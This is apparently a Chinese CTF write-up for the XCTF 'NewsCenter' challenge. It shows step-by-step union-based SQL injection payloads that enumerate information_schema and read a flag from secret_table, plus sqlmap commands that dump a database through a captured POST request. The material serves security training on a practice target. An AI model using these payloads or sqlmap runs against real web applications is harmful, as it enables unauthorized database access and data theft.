攻防世界---NewsCenter

废话不多说,直接上思路。
**

手工注入:

**

1' //报错,

判断字段:

1' order by 3#  //最终我们得到是三个字段,在这里们用--+代替#,竟然报错。

回显字段:

-1' union select 1,2,3#

攻防世界---NewsCenter_第1张图片
爆出数据库(两种方法):

-1' union select 1,2,database()#
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata#

攻防世界---NewsCenter_第2张图片爆出表:

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='news'#

错误写法:


-1' union select 1,2,(group_concat(table_name) from information_schema.tables where table_schema='news')#

为什么错误?因为你select的是表,不是后面的整个语句。
攻防世界---NewsCenter_第3张图片爆出列:

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='news'#

攻防世界---NewsCenter_第4张图片爆出字段:

-1' union select 1,2,fl4g from secret_table#

攻防世界---NewsCenter_第5张图片**

sqlmap注入

**

在输入框中输入数据肯定不是get型注入,所以是post抓包注入:

sqlmap.py -r 1.txt --dbs
sqlmap.py -r 1.txt -D news --dump

在这里插入图片描述

题目比较简单,但是为什么要做?就当复习一下知识点。

你可能感兴趣的:(sql)